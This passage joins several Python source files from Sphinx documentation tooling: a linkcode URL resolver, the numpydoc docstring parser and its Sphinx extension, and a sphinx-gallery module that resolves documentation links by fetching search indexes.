    """Determine a link to online source for a class/method/function

    This is called by sphinx.ext.linkcode

    An example with a long-untouched module that everyone has
    >>> _linkcode_resolve('py', {'module': 'tty',
    ...                          'fullname': 'setraw'},
    ...                   package='tty',
    ...                   url_fmt='http://hg.python.org/cpython/file/'
    ...                           '{revision}/Lib/{package}/{path}#L{lineno}',
    ...                   revision='xxxx')
    'http://hg.python.org/cpython/file/xxxx/Lib/tty/tty.py#L18'
    """

    if revision is None:
        return
    if domain not in ('py', 'pyx'):
        return
    if not info.get('module') or not info.get('fullname'):
        return

    class_name = info['fullname'].split('.')[0]
    if type(class_name) != str:
        # Python 2 only
        class_name = class_name.encode('utf-8')
    module = __import__(info['module'], fromlist=[class_name])
    obj = attrgetter(info['fullname'])(module)

    try:
        fn = inspect.getsourcefile(obj)
    except Exception:
        fn = None
    if not fn:
        try:
            fn = inspect.getsourcefile(sys.modules[obj.__module__])
        except Exception:
            fn = None
    if not fn:
        return

    fn = os.path.relpath(fn,
                         start=os.path.dirname(__import__(package).__file__))
    try:
        lineno = inspect.getsourcelines(obj)[1]
    except Exception:
        lineno = ''
    return url_fmt.format(revision=revision, package=package,
                          path=fn, lineno=lineno)


def make_linkcode_resolve(package, url_fmt):
    """Returns a linkcode_resolve function for the given URL format

    revision is a git commit reference (hash or name)

    package is the name of the root module of the package

    url_fmt is along the lines of ('https://github.com/USER/PROJECT/'
                                   'blob/{revision}/{package}/'
                                   '{path}#L{lineno}')
    """
    revision = _get_git_revision()
    return partial(_linkcode_resolve, revision=revision, package=package,
                   url_fmt=url_fmt)












"""Extract reference documentation from the NumPy source tree.

"""

import inspect
import textwrap
import re
import pydoc
from warnings import warn
# Try Python 2 first, otherwise load from Python 3
try:
    from StringIO import StringIO
except:
    from io import StringIO


class Reader(object):
    """A line-based string reader.

    """
    def __init__(self, data):
        """
        Parameters
        ----------
        data : str
           String with lines separated by '\n'.

        """
        if isinstance(data, list):
            self._str = data
        else:
            self._str = data.split('\n')  # store string as list of lines

        self.reset()

    def __getitem__(self, n):
        return self._str[n]

    def reset(self):
        self._l = 0  # current line nr

    def read(self):
        if not self.eof():
            out = self[self._l]
            self._l += 1
            return out
        else:
            return ''

    def seek_next_non_empty_line(self):
        for l in self[self._l:]:
            if l.strip():
                break
            else:
                self._l += 1

    def eof(self):
        return self._l >= len(self._str)

    def read_to_condition(self, condition_func):
        start = self._l
        for line in self[start:]:
            if condition_func(line):
                return self[start:self._l]
            self._l += 1
            if self.eof():
                return self[start:self._l + 1]
        return []

    def read_to_next_empty_line(self):
        self.seek_next_non_empty_line()

        def is_empty(line):
            return not line.strip()
        return self.read_to_condition(is_empty)

    def read_to_next_unindented_line(self):
        def is_unindented(line):
            return (line.strip() and (len(line.lstrip()) == len(line)))
        return self.read_to_condition(is_unindented)

    def peek(self, n=0):
        if self._l + n < len(self._str):
            return self[self._l + n]
        else:
            return ''

    def is_empty(self):
        return not ''.join(self._str).strip()


class NumpyDocString(object):
    def __init__(self, docstring, config={}):
        docstring = textwrap.dedent(docstring).split('\n')

        self._doc = Reader(docstring)
        self._parsed_data = {
            'Signature': '',
            'Summary': [''],
            'Extended Summary': [],
            'Parameters': [],
            'Returns': [],
            'Raises': [],
            'Warns': [],
            'Other Parameters': [],
            'Attributes': [],
            'Methods': [],
            'See Also': [],
            'Notes': [],
            'Warnings': [],
            'References': '',
            'Examples': '',
            'index': {}
            }

        self._parse()

    def __getitem__(self, key):
        return self._parsed_data[key]

    def __setitem__(self, key, val):
        if key not in self._parsed_data:
            warn("Unknown section %s" % key)
        else:
            self._parsed_data[key] = val

    def _is_at_section(self):
        self._doc.seek_next_non_empty_line()

        if self._doc.eof():
            return False

        l1 = self._doc.peek().strip()  # e.g. Parameters

        if l1.startswith('.. index::'):
            return True

        l2 = self._doc.peek(1).strip()   # ---------- or ==========
        return l2.startswith('-' * len(l1)) or l2.startswith('=' * len(l1))

    def _strip(self, doc):
        i = 0
        j = 0
        for i, line in enumerate(doc):
            if line.strip():
                break

        for j, line in enumerate(doc[::-1]):
            if line.strip():
                break

        return doc[i:len(doc) - j]

    def _read_to_next_section(self):
        section = self._doc.read_to_next_empty_line()

        while not self._is_at_section() and not self._doc.eof():
            if not self._doc.peek(-1).strip():  # previous line was empty
                section += ['']

            section += self._doc.read_to_next_empty_line()

        return section

    def _read_sections(self):
        while not self._doc.eof():
            data = self._read_to_next_section()
            name = data[0].strip()

            if name.startswith('..'):  # index section
                yield name, data[1:]
            elif len(data) < 2:
                yield StopIteration
            else:
                yield name, self._strip(data[2:])

    def _parse_param_list(self, content):
        r = Reader(content)
        params = []
        while not r.eof():
            header = r.read().strip()
            if ' : ' in header:
                arg_name, arg_type = header.split(' : ')[:2]
            else:
                arg_name, arg_type = header, ''

            desc = r.read_to_next_unindented_line()
            desc = dedent_lines(desc)

            params.append((arg_name, arg_type, desc))

        return params

    _name_rgx = re.compile(r"^\s*(:(?P<role>\w+):`(?P<name>[a-zA-Z0-9_.-]+)`|"
                           r" (?P<name2>[a-zA-Z0-9_.-]+))\s*", re.X)

    def _parse_see_also(self, content):
        """
        func_name : Descriptive text
            continued text
        another_func_name : Descriptive text
        func_name1, func_name2, :meth:`func_name`, func_name3

        """
        items = []

        def parse_item_name(text):
            """Match ':role:`name`' or 'name'"""
            m = self._name_rgx.match(text)
            if m:
                g = m.groups()
                if g[1] is None:
                    return g[3], None
                else:
                    return g[2], g[1]
            raise ValueError("%s is not a item name" % text)

        def push_item(name, rest):
            if not name:
                return
            name, role = parse_item_name(name)
            items.append((name, list(rest), role))
            del rest[:]

        current_func = None
        rest = []

        for line in content:
            if not line.strip():
                continue

            m = self._name_rgx.match(line)
            if m and line[m.end():].strip().startswith(':'):
                push_item(current_func, rest)
                current_func, line = line[:m.end()], line[m.end():]
                rest = [line.split(':', 1)[1].strip()]
                if not rest[0]:
                    rest = []
            elif not line.startswith(' '):
                push_item(current_func, rest)
                current_func = None
                if ',' in line:
                    for func in line.split(','):
                        push_item(func, [])
                elif line.strip():
                    current_func = line
            elif current_func is not None:
                rest.append(line.strip())
        push_item(current_func, rest)
        return items

    def _parse_index(self, section, content):
        """
        .. index: default
           :refguide: something, else, and more

        """
        def strip_each_in(lst):
            return [s.strip() for s in lst]

        out = {}
        section = section.split('::')
        if len(section) > 1:
            out['default'] = strip_each_in(section[1].split(','))[0]
        for line in content:
            line = line.split(':')
            if len(line) > 2:
                out[line[1]] = strip_each_in(line[2].split(','))
        return out

    def _parse_summary(self):
        """Grab signature (if given) and summary"""
        if self._is_at_section():
            return

        summary = self._doc.read_to_next_empty_line()
        summary_str = " ".join([s.strip() for s in summary]).strip()
        if re.compile('^([\w., ]+=)?\s*[\w\.]+\(.*\)$').match(summary_str):
            self['Signature'] = summary_str
            if not self._is_at_section():
                self['Summary'] = self._doc.read_to_next_empty_line()
        else:
            self['Summary'] = summary

        if not self._is_at_section():
            self['Extended Summary'] = self._read_to_next_section()

    def _parse(self):
        self._doc.reset()
        self._parse_summary()

        for (section, content) in self._read_sections():
            if not section.startswith('..'):
                section = ' '.join([s.capitalize()
                                    for s in section.split(' ')])
            if section in ('Parameters', 'Attributes', 'Methods',
                           'Returns', 'Raises', 'Warns'):
                self[section] = self._parse_param_list(content)
            elif section.startswith('.. index::'):
                self['index'] = self._parse_index(section, content)
            elif section == 'See Also':
                self['See Also'] = self._parse_see_also(content)
            else:
                self[section] = content

    # string conversion routines

    def _str_header(self, name, symbol='-'):
        return [name, len(name) * symbol]

    def _str_indent(self, doc, indent=4):
        out = []
        for line in doc:
            out += [' ' * indent + line]
        return out

    def _str_signature(self):
        if self['Signature']:
            return [self['Signature'].replace('*', '\*')] + ['']
        else:
            return ['']

    def _str_summary(self):
        if self['Summary']:
            return self['Summary'] + ['']
        else:
            return []

    def _str_extended_summary(self):
        if self['Extended Summary']:
            return self['Extended Summary'] + ['']
        else:
            return []

    def _str_param_list(self, name):
        out = []
        if self[name]:
            out += self._str_header(name)
            for param, param_type, desc in self[name]:
                out += ['%s : %s' % (param, param_type)]
                out += self._str_indent(desc)
            out += ['']
        return out

    def _str_section(self, name):
        out = []
        if self[name]:
            out += self._str_header(name)
            out += self[name]
            out += ['']
        return out

    def _str_see_also(self, func_role):
        if not self['See Also']:
            return []
        out = []
        out += self._str_header("See Also")
        last_had_desc = True
        for func, desc, role in self['See Also']:
            if role:
                link = ':%s:`%s`' % (role, func)
            elif func_role:
                link = ':%s:`%s`' % (func_role, func)
            else:
                link = "`%s`_" % func
            if desc or last_had_desc:
                out += ['']
                out += [link]
            else:
                out[-1] += ", %s" % link
            if desc:
                out += self._str_indent([' '.join(desc)])
                last_had_desc = True
            else:
                last_had_desc = False
        out += ['']
        return out

    def _str_index(self):
        idx = self['index']
        out = []
        out += ['.. index:: %s' % idx.get('default', '')]
        for section, references in idx.iteritems():
            if section == 'default':
                continue
            out += ['   :%s: %s' % (section, ', '.join(references))]
        return out

    def __str__(self, func_role=''):
        out = []
        out += self._str_signature()
        out += self._str_summary()
        out += self._str_extended_summary()
        for param_list in ('Parameters', 'Returns', 'Raises'):
            out += self._str_param_list(param_list)
        out += self._str_section('Warnings')
        out += self._str_see_also(func_role)
        for s in ('Notes', 'References', 'Examples'):
            out += self._str_section(s)
        for param_list in ('Attributes', 'Methods'):
            out += self._str_param_list(param_list)
        out += self._str_index()
        return '\n'.join(out)


def indent(str, indent=4):
    indent_str = ' ' * indent
    if str is None:
        return indent_str
    lines = str.split('\n')
    return '\n'.join(indent_str + l for l in lines)


def dedent_lines(lines):
    """Deindent a list of lines maximally"""
    return textwrap.dedent("\n".join(lines)).split("\n")


def header(text, style='-'):
    return text + '\n' + style * len(text) + '\n'


class FunctionDoc(NumpyDocString):
    def __init__(self, func, role='func', doc=None, config={}):
        self._f = func
        self._role = role  # e.g. "func" or "meth"

        if doc is None:
            if func is None:
                raise ValueError("No function or docstring given")
            doc = inspect.getdoc(func) or ''
        NumpyDocString.__init__(self, doc)

        if not self['Signature'] and func is not None:
            func, func_name = self.get_func()
            try:
                # try to read signature
                argspec = inspect.getargspec(func)
                argspec = inspect.formatargspec(*argspec)
                argspec = argspec.replace('*', '\*')
                signature = '%s%s' % (func_name, argspec)
            except TypeError as e:
                signature = '%s()' % func_name
            self['Signature'] = signature

    def get_func(self):
        func_name = getattr(self._f, '__name__', self.__class__.__name__)
        if inspect.isclass(self._f):
            func = getattr(self._f, '__call__', self._f.__init__)
        else:
            func = self._f
        return func, func_name

    def __str__(self):
        out = ''

        func, func_name = self.get_func()
        signature = self['Signature'].replace('*', '\*')

        roles = {'func': 'function',
                 'meth': 'method'}

        if self._role:
            if self._role not in roles:
                print("Warning: invalid role %s" % self._role)
            out += '.. %s:: %s\n    \n\n' % (roles.get(self._role, ''),
                                             func_name)

        out += super(FunctionDoc, self).__str__(func_role=self._role)
        return out


class ClassDoc(NumpyDocString):
    def __init__(self, cls, doc=None, modulename='', func_doc=FunctionDoc,
                 config=None):
        if not inspect.isclass(cls) and cls is not None:
            raise ValueError("Expected a class or None, but got %r" % cls)
        self._cls = cls

        if modulename and not modulename.endswith('.'):
            modulename += '.'
        self._mod = modulename

        if doc is None:
            if cls is None:
                raise ValueError("No class or documentation string given")
            doc = pydoc.getdoc(cls)

        NumpyDocString.__init__(self, doc)

        if config is not None and config.get('show_class_members', True):
            if not self['Methods']:
                self['Methods'] = [(name, '', '')
                                   for name in sorted(self.methods)]
            if not self['Attributes']:
                self['Attributes'] = [(name, '', '')
                                      for name in sorted(self.properties)]

    @property
    def methods(self):
        if self._cls is None:
            return []
        return [name for name, func in inspect.getmembers(self._cls)
                if not name.startswith('_') and callable(func)]

    @property
    def properties(self):
        if self._cls is None:
            return []
        return [name for name, func in inspect.getmembers(self._cls)
                if not name.startswith('_') and func is None]






"""
========
numpydoc
========

Sphinx extension that handles docstrings in the Numpy standard format. [1]

It will:

- Convert Parameters etc. sections to field lists.
- Convert See Also section to a See also entry.
- Renumber references.
- Extract the signature from the docstring, if it can't be determined
  otherwise.

.. [1] http://projects.scipy.org/numpy/wiki/CodingStyleGuidelines#docstring-standard

"""

from __future__ import unicode_literals

import sys # Only needed to check Python version
import os
import re
import pydoc
from .docscrape_sphinx import get_doc_object
from .docscrape_sphinx import SphinxDocString
import inspect


def mangle_docstrings(app, what, name, obj, options, lines,
                      reference_offset=[0]):

    cfg = dict(use_plots=app.config.numpydoc_use_plots,
               show_class_members=app.config.numpydoc_show_class_members)

    if what == 'module':
        # Strip top title
        title_re = re.compile(r'^\s*[#*=]{4,}\n[a-z0-9 -]+\n[#*=]{4,}\s*',
                              re.I | re.S)
        lines[:] = title_re.sub('', "\n".join(lines)).split("\n")
    else:
        doc = get_doc_object(obj, what, "\n".join(lines), config=cfg)
        if sys.version_info[0] < 3:
            lines[:] = unicode(doc).splitlines()
        else:
            lines[:] = str(doc).splitlines()

    if app.config.numpydoc_edit_link and hasattr(obj, '__name__') and \
           obj.__name__:
        if hasattr(obj, '__module__'):
            v = dict(full_name="%s.%s" % (obj.__module__, obj.__name__))
        else:
            v = dict(full_name=obj.__name__)
        lines += [u'', u'.. htmlonly::', '']
        lines += [u'    %s' % x for x in
                  (app.config.numpydoc_edit_link % v).split("\n")]

    # replace reference numbers so that there are no duplicates
    references = []
    for line in lines:
        line = line.strip()
        m = re.match(r'^.. \[([a-z0-9_.-])\]', line, re.I)
        if m:
            references.append(m.group(1))

    # start renaming from the longest string, to avoid overwriting parts
    references.sort(key=lambda x: -len(x))
    if references:
        for i, line in enumerate(lines):
            for r in references:
                if re.match(r'^\d+$', r):
                    new_r = "R%d" % (reference_offset[0] + int(r))
                else:
                    new_r = u"%s%d" % (r, reference_offset[0])
                lines[i] = lines[i].replace(u'[%s]_' % r,
                                            u'[%s]_' % new_r)
                lines[i] = lines[i].replace(u'.. [%s]' % r,
                                            u'.. [%s]' % new_r)

    reference_offset[0] += len(references)


def mangle_signature(app, what, name, obj,
                     options, sig, retann):
    # Do not try to inspect classes that don't define `__init__`
    if (inspect.isclass(obj) and
        (not hasattr(obj, '__init__') or
        'initializes x; see ' in pydoc.getdoc(obj.__init__))):
        return '', ''

    if not (callable(obj) or hasattr(obj, '__argspec_is_invalid_')):
        return
    if not hasattr(obj, '__doc__'):
        return

    doc = SphinxDocString(pydoc.getdoc(obj))
    if doc['Signature']:
        sig = re.sub("^[^(]*", "", doc['Signature'])
        return sig, ''


def setup(app, get_doc_object_=get_doc_object):
    global get_doc_object
    get_doc_object = get_doc_object_

    if sys.version_info[0] < 3:
        app.connect(b'autodoc-process-docstring', mangle_docstrings)
        app.connect(b'autodoc-process-signature', mangle_signature)
    else:
        app.connect('autodoc-process-docstring', mangle_docstrings)
        app.connect('autodoc-process-signature', mangle_signature)
    app.add_config_value('numpydoc_edit_link', None, False)
    app.add_config_value('numpydoc_use_plots', None, False)
    app.add_config_value('numpydoc_show_class_members', True, True)

    # Extra mangling domains
    app.add_domain(NumpyPythonDomain)
    app.add_domain(NumpyCDomain)

#-----------------------------------------------------------------------------
# Docstring-mangling domains
#-----------------------------------------------------------------------------

try:
    import sphinx  # lazy to avoid test dependency
except ImportError:
    CDomain = PythonDomain = object
else:
    from sphinx.domains.c import CDomain
    from sphinx.domains.python import PythonDomain


class ManglingDomainBase(object):
    directive_mangling_map = {}

    def __init__(self, *a, **kw):
        super(ManglingDomainBase, self).__init__(*a, **kw)
        self.wrap_mangling_directives()

    def wrap_mangling_directives(self):
        for name, objtype in self.directive_mangling_map.items():
            self.directives[name] = wrap_mangling_directive(
                self.directives[name], objtype)


class NumpyPythonDomain(ManglingDomainBase, PythonDomain):
    name = 'np'
    directive_mangling_map = {
        'function': 'function',
        'class': 'class',
        'exception': 'class',
        'method': 'function',
        'classmethod': 'function',
        'staticmethod': 'function',
        'attribute': 'attribute',
    }


class NumpyCDomain(ManglingDomainBase, CDomain):
    name = 'np-c'
    directive_mangling_map = {
        'function': 'function',
        'member': 'attribute',
        'macro': 'function',
        'type': 'class',
        'var': 'object',
    }


def wrap_mangling_directive(base_directive, objtype):
    class directive(base_directive):
        def run(self):
            env = self.state.document.settings.env

            name = None
            if self.arguments:
                m = re.match(r'^(.*\s+)?(.*?)(\(.*)?', self.arguments[0])
                name = m.group(2).strip()

            if not name:
                name = self.arguments[0]

            lines = list(self.content)
            mangle_docstrings(env.app, objtype, name, None, None, lines)
            # local import to avoid testing dependency
            from docutils.statemachine import ViewList
            self.content = ViewList(lines, self.content.parent)

            return base_directive.run(self)

    return directive






import re
import inspect
import textwrap
import pydoc
from .docscrape import NumpyDocString
from .docscrape import FunctionDoc
from .docscrape import ClassDoc


class SphinxDocString(NumpyDocString):
    def __init__(self, docstring, config=None):
        config = {} if config is None else config
        self.use_plots = config.get('use_plots', False)
        NumpyDocString.__init__(self, docstring, config=config)

    # string conversion routines
    def _str_header(self, name, symbol='`'):
        return ['.. rubric:: ' + name, '']

    def _str_field_list(self, name):
        return [':' + name + ':']

    def _str_indent(self, doc, indent=4):
        out = []
        for line in doc:
            out += [' ' * indent + line]
        return out

    def _str_signature(self):
        return ['']
        if self['Signature']:
            return ['``%s``' % self['Signature']] + ['']
        else:
            return ['']

    def _str_summary(self):
        return self['Summary'] + ['']

    def _str_extended_summary(self):
        return self['Extended Summary'] + ['']

    def _str_param_list(self, name):
        out = []
        if self[name]:
            out += self._str_field_list(name)
            out += ['']
            for param, param_type, desc in self[name]:
                out += self._str_indent(['**%s** : %s' % (param.strip(),
                                                          param_type)])
                out += ['']
                out += self._str_indent(desc, 8)
                out += ['']
        return out

    @property
    def _obj(self):
        if hasattr(self, '_cls'):
            return self._cls
        elif hasattr(self, '_f'):
            return self._f
        return None

    def _str_member_list(self, name):
        """
        Generate a member listing, autosummary:: table where possible,
        and a table where not.

        """
        out = []
        if self[name]:
            out += ['.. rubric:: %s' % name, '']
            prefix = getattr(self, '_name', '')

            if prefix:
                prefix = '~%s.' % prefix

            autosum = []
            others = []
            for param, param_type, desc in self[name]:
                param = param.strip()
                if not self._obj or hasattr(self._obj, param):
                    autosum += ["   %s%s" % (prefix, param)]
                else:
                    others.append((param, param_type, desc))

            if autosum:
                # GAEL: Toctree commented out below because it creates
                # hundreds of sphinx warnings
                # out += ['.. autosummary::', '   :toctree:', '']
                out += ['.. autosummary::', '']
                out += autosum

            if others:
                maxlen_0 = max([len(x[0]) for x in others])
                maxlen_1 = max([len(x[1]) for x in others])
                hdr = "=" * maxlen_0 + "  " + "=" * maxlen_1 + "  " + "=" * 10
                fmt = '%%%ds  %%%ds  ' % (maxlen_0, maxlen_1)
                n_indent = maxlen_0 + maxlen_1 + 4
                out += [hdr]
                for param, param_type, desc in others:
                    out += [fmt % (param.strip(), param_type)]
                    out += self._str_indent(desc, n_indent)
                out += [hdr]
            out += ['']
        return out

    def _str_section(self, name):
        out = []
        if self[name]:
            out += self._str_header(name)
            out += ['']
            content = textwrap.dedent("\n".join(self[name])).split("\n")
            out += content
            out += ['']
        return out

    def _str_see_also(self, func_role):
        out = []
        if self['See Also']:
            see_also = super(SphinxDocString, self)._str_see_also(func_role)
            out = ['.. seealso::', '']
            out += self._str_indent(see_also[2:])
        return out

    def _str_warnings(self):
        out = []
        if self['Warnings']:
            out = ['.. warning::', '']
            out += self._str_indent(self['Warnings'])
        return out

    def _str_index(self):
        idx = self['index']
        out = []
        if len(idx) == 0:
            return out

        out += ['.. index:: %s' % idx.get('default', '')]
        for section, references in idx.iteritems():
            if section == 'default':
                continue
            elif section == 'refguide':
                out += ['   single: %s' % (', '.join(references))]
            else:
                out += ['   %s: %s' % (section, ','.join(references))]
        return out

    def _str_references(self):
        out = []
        if self['References']:
            out += self._str_header('References')
            if isinstance(self['References'], str):
                self['References'] = [self['References']]
            out.extend(self['References'])
            out += ['']
            # Latex collects all references to a separate bibliography,
            # so we need to insert links to it
            import sphinx  # local import to avoid test dependency
            if sphinx.__version__ >= "0.6":
                out += ['.. only:: latex', '']
            else:
                out += ['.. latexonly::', '']
            items = []
            for line in self['References']:
                m = re.match(r'.. \[([a-z0-9._-]+)\]', line, re.I)
                if m:
                    items.append(m.group(1))
            out += ['   ' + ", ".join(["[%s]_" % item for item in items]), '']
        return out

    def _str_examples(self):
        examples_str = "\n".join(self['Examples'])

        if (self.use_plots and 'import matplotlib' in examples_str
                and 'plot::' not in examples_str):
            out = []
            out += self._str_header('Examples')
            out += ['.. plot::', '']
            out += self._str_indent(self['Examples'])
            out += ['']
            return out
        else:
            return self._str_section('Examples')

    def __str__(self, indent=0, func_role="obj"):
        out = []
        out += self._str_signature()
        out += self._str_index() + ['']
        out += self._str_summary()
        out += self._str_extended_summary()
        for param_list in ('Parameters', 'Returns', 'Raises', 'Attributes'):
            out += self._str_param_list(param_list)
        out += self._str_warnings()
        out += self._str_see_also(func_role)
        out += self._str_section('Notes')
        out += self._str_references()
        out += self._str_examples()
        for param_list in ('Methods',):
            out += self._str_member_list(param_list)
        out = self._str_indent(out, indent)
        return '\n'.join(out)


class SphinxFunctionDoc(SphinxDocString, FunctionDoc):
    def __init__(self, obj, doc=None, config={}):
        self.use_plots = config.get('use_plots', False)
        FunctionDoc.__init__(self, obj, doc=doc, config=config)


class SphinxClassDoc(SphinxDocString, ClassDoc):
    def __init__(self, obj, doc=None, func_doc=None, config={}):
        self.use_plots = config.get('use_plots', False)
        ClassDoc.__init__(self, obj, doc=doc, func_doc=None, config=config)


class SphinxObjDoc(SphinxDocString):
    def __init__(self, obj, doc=None, config=None):
        self._f = obj
        SphinxDocString.__init__(self, doc, config=config)


def get_doc_object(obj, what=None, doc=None, config={}):
    if what is None:
        if inspect.isclass(obj):
            what = 'class'
        elif inspect.ismodule(obj):
            what = 'module'
        elif callable(obj):
            what = 'function'
        else:
            what = 'object'
    if what == 'class':
        return SphinxClassDoc(obj, func_doc=SphinxFunctionDoc, doc=doc,
                              config=config)
    elif what in ('function', 'method'):
        return SphinxFunctionDoc(obj, doc=doc, config=config)
    else:
        if doc is None:
            doc = pydoc.getdoc(obj)
        return SphinxObjDoc(obj, doc, config=config)






# -*- coding: utf-8 -*-
# Author: Óscar Nájera
# License: 3-clause BSD
###############################################################################
# Documentation link resolver objects
from __future__ import print_function
import gzip
import os
import posixpath
import re
import shelve
import sys

# Try Python 2 first, otherwise load from Python 3
try:
    from StringIO import StringIO
    import cPickle as pickle
    import urllib2 as urllib
    from urllib2 import HTTPError, URLError
except ImportError:
    from io import StringIO
    import pickle
    import urllib.request
    import urllib.error
    import urllib.parse
    from urllib.error import HTTPError, URLError


def _get_data(url):
    """Helper function to get data over http or from a local file"""
    if url.startswith('http://'):
        # Try Python 2, use Python 3 on exception
        try:
            resp = urllib.urlopen(url)
            encoding = resp.headers.dict.get('content-encoding', 'plain')
        except AttributeError:
            resp = urllib.request.urlopen(url)
            encoding = resp.headers.get('content-encoding', 'plain')
        data = resp.read()
        if encoding == 'plain':
            pass
        elif encoding == 'gzip':
            data = StringIO(data)
            data = gzip.GzipFile(fileobj=data).read()
        else:
            raise RuntimeError('unknown encoding')
    else:
        with open(url, 'r') as fid:
            data = fid.read()

    return data


def get_data(url, gallery_dir):
    """Persistent dictionary usage to retrieve the search indexes"""

    # shelve keys need to be str in python 2
    if sys.version_info[0] == 2 and isinstance(url, unicode):
        url = url.encode('utf-8')

    cached_file = os.path.join(gallery_dir, 'searchindex')
    search_index = shelve.open(cached_file)
    if url in search_index:
        data = search_index[url]
    else:
        data = _get_data(url)
        search_index[url] = data
    search_index.close()

    return data


def _select_block(str_in, start_tag, end_tag):
    """Select first block delimited by start_tag and end_tag"""
    start_pos = str_in.find(start_tag)
    if start_pos < 0:
        raise ValueError('start_tag not found')
    depth = 0
    for pos in range(start_pos, len(str_in)):
        if str_in[pos] == start_tag:
            depth += 1
        elif str_in[pos] == end_tag:
            depth -= 1

        if depth == 0:
            break
    sel = str_in[start_pos + 1:pos]
    return sel


def _parse_dict_recursive(dict_str):
    """Parse a dictionary from the search index"""
    dict_out = dict()
    pos_last = 0
    pos = dict_str.find(':')
    while pos >= 0:
        key = dict_str[pos_last:pos]
        if dict_str[pos + 1] == '[':
            # value is a list
            pos_tmp = dict_str.find(']', pos + 1)
            if pos_tmp < 0:
                raise RuntimeError('error when parsing dict')
            value = dict_str[pos + 2: pos_tmp].split(',')
            # try to convert elements to int
            for i in range(len(value)):
                try:
                    value[i] = int(value[i])
                except ValueError:
                    pass
        elif dict_str[pos + 1] == '{':
            # value is another dictionary
            subdict_str = _select_block(dict_str[pos:], '{', '}')
            value = _parse_dict_recursive(subdict_str)
            pos_tmp = pos + len(subdict_str)
        else:
            raise ValueError('error when parsing dict: unknown elem')

        key = key.strip('"')
        if len(key) > 0:
            dict_out[key] = value

        pos_last = dict_str.find(',', pos_tmp)
        if pos_last < 0:
            break
        pos_last += 1
        pos = dict_str.find(':', pos_last)

    return dict_out


def parse_sphinx_searchindex(searchindex):
    """Parse a Sphinx search index

    Parameters
    ----------
    searchindex : str
        The Sphinx search index (contents of searchindex.js)

    Returns
    -------
    filenames : list of str
        The file names parsed from the search index.
    objects : dict
        The objects parsed from the search index.
    """
    # Make sure searchindex uses UTF-8 encoding
    if hasattr(searchindex, 'decode'):
        searchindex = searchindex.decode('UTF-8')

    # parse objects
    query = 'objects:'
    pos = searchindex.find(query)
    if pos < 0:
        raise ValueError('"objects:" not found in search index')

    sel = _select_block(searchindex[pos:], '{', '}')
    objects = _parse_dict_recursive(sel)

    # parse filenames
    query = 'filenames:'
    pos = searchindex.find(query)
    if pos < 0:
        raise ValueError('"filenames:" not found in search index')
    filenames = searchindex[pos + len(query) + 1:]
    filenames = filenames[:filenames.find(']')]
    filenames = [f.strip('"') for f in filenames.split(',')]

    return filenames, objects


class SphinxDocLinkResolver(object):
    """ Resolve documentation links using searchindex.js generated by Sphinx

    Parameters
    ----------
    doc_url : str
        The base URL of the project website.
    searchindex : str
        Filename of searchindex, relative to doc_url.
    extra_modules_test : list of str
        List of extra module names to test.
    relative : bool
        Return relative links (only useful for links to documentation of this
        package).
    """

    def __init__(self, doc_url, gallery_dir, searchindex='searchindex.js',
                 extra_modules_test=None, relative=False):
        self.doc_url = doc_url
        self.gallery_dir = gallery_dir
        self.relative = relative
        self._link_cache = {}

        self.extra_modules_test = extra_modules_test
        self._page_cache = {}
        if doc_url.startswith('http://'):
            if relative:
                raise ValueError('Relative links are only supported for local '
                                 'URLs (doc_url cannot start with "http://)"')
            searchindex_url = doc_url + '/' + searchindex
        else:
            searchindex_url = os.path.join(doc_url, searchindex)

        # detect if we are using relative links on a Windows system
        if os.name.lower() == 'nt' and not doc_url.startswith('http://'):
            if not relative:
                raise ValueError('You have to use relative=True for the local'
                                 ' package on a Windows system.')
            self._is_windows = True
        else:
            self._is_windows = False

        # download and initialize the search index
        sindex = get_data(searchindex_url, gallery_dir)
        filenames, objects = parse_sphinx_searchindex(sindex)

        self._searchindex = dict(filenames=filenames, objects=objects)

    def _get_link(self, cobj):
        """Get a valid link, False if not found"""

        fname_idx = None
        full_name = cobj['module_short'] + '.' + cobj['name']
        if full_name in self._searchindex['objects']:
            value = self._searchindex['objects'][full_name]
            if isinstance(value, dict):
                value = value[next(iter(value.keys()))]
            fname_idx = value[0]
        elif cobj['module_short'] in self._searchindex['objects']:
            value = self._searchindex['objects'][cobj['module_short']]
            if cobj['name'] in value.keys():
                fname_idx = value[cobj['name']][0]

        if fname_idx is not None:
            fname = self._searchindex['filenames'][fname_idx] + '.html'

            if self._is_windows:
                fname = fname.replace('/', '\\')
                link = os.path.join(self.doc_url, fname)
            else:
                link = posixpath.join(self.doc_url, fname)

            if hasattr(link, 'decode'):
                link = link.decode('utf-8', 'replace')

            if link in self._page_cache:
                html = self._page_cache[link]
            else:
                html = get_data(link, self.gallery_dir)
                self._page_cache[link] = html

            # test if cobj appears in page
            comb_names = [cobj['module_short'] + '.' + cobj['name']]
            if self.extra_modules_test is not None:
                for mod in self.extra_modules_test:
                    comb_names.append(mod + '.' + cobj['name'])
            url = False
            if hasattr(html, 'decode'):
                # Decode bytes under Python 3
                html = html.decode('utf-8', 'replace')

            for comb_name in comb_names:
                if hasattr(comb_name, 'decode'):
                    # Decode bytes under Python 3
                    comb_name = comb_name.decode('utf-8', 'replace')
                if comb_name in html:
                    url = link + u'#' + comb_name
            link = url
        else:
            link = False

        return link

    def resolve(self, cobj, this_url):
        """Resolve the link to the documentation, returns None if not found

        Parameters
        ----------
        cobj : dict
            Dict with information about the "code object" for which we are
            resolving a link.
            cobi['name'] : function or class name (str)
            cobj['module_short'] : shortened module name (str)
            cobj['module'] : module name (str)
        this_url: str
            URL of the current page. Needed to construct relative URLs
            (only used if relative=True in constructor).

        Returns
        -------
        link : str | None
            The link (URL) to the documentation.
        """
        full_name = cobj['module_short'] + '.' + cobj['name']
        link = self._link_cache.get(full_name, None)
        if link is None:
            # we don't have it cached
            link = self._get_link(cobj)
            # cache it for the future
            self._link_cache[full_name] = link

        if link is False or link is None:
            # failed to resolve
            return None

        if self.relative:
            link = os.path.relpath(link, start=this_url)
            if self._is_windows:
                # replace '\' with '/' so it on the web
                link = link.replace('\\', '/')

            # for some reason, the relative link goes one directory too high up
            link = link[3:]

        return link


def _embed_code_links(app, gallery_conf, gallery_dir):
    # Add resolvers for the packages for which we want to show links
    doc_resolvers = {}

    for this_module, url in gallery_conf['reference_url'].items():
        try:
            if url is None:
                doc_resolvers[this_module] = SphinxDocLinkResolver(
                    app.builder.outdir,
                    gallery_dir,
                    relative=True)
            else:
                doc_resolvers[this_module] = SphinxDocLinkResolver(url,
                                                                   gallery_dir)

        except HTTPError as e:
            print("The following HTTP Error has occurred:\n")
            print(e.code)
        except URLError as e:
            print("\n...\n"
                  "Warning: Embedding the documentation hyperlinks requires "
